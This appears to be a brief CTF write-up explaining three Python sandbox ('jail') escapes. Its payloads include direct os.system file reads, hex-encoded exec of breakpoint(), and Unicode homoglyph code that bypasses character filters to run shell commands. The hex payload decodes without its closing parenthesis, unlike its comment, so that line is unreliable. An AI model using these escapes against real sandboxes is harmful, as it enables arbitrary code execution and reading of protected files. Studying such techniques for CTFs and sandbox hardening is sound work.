← $ cd ../blog

Python Jailbreak Techniques

• CTF Writeup
# Python Jailbreak Techniques: Three Levels of Escalation

## 1. Baby Jail
**Scenario**: No restrictions, simplest bypass

**Solutions**:
```python
open("/flag.txt").read()
__import__('os').system("cat /flag.txt")

2. Bahri Jail

Scenario: Basic character restrictions

Solution: Hex-encoded breakpoint()

exec(bytes.fromhex('627265616b706f696e7428')) # breakpoint()

Then in debugger:

import os; os.system("cat /flag.txt")

3. Silent Jail

Scenario: All alphanumerics banned (A-Z,a-z,0-9)

Solution: Unicode homoglyph attack

𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()  # breakpoint() using mathematical sans-serif italic

Then in debugger:

𝘪𝘮𝘱𝘰𝘳𝘵 𝘰𝘴; 𝘰𝘴.𝘴𝘺𝘴𝘵𝘦𝘮("𝘤𝘢𝘵 /𝘧𝘭𝘢𝘨.𝘵𝘹𝘵")

Key Notes:

  • Breakpoint() is the universal starting point
  • Unicode chars bypass character filters but execute normally
  • Hex/bytes encoding bypasses string-based filters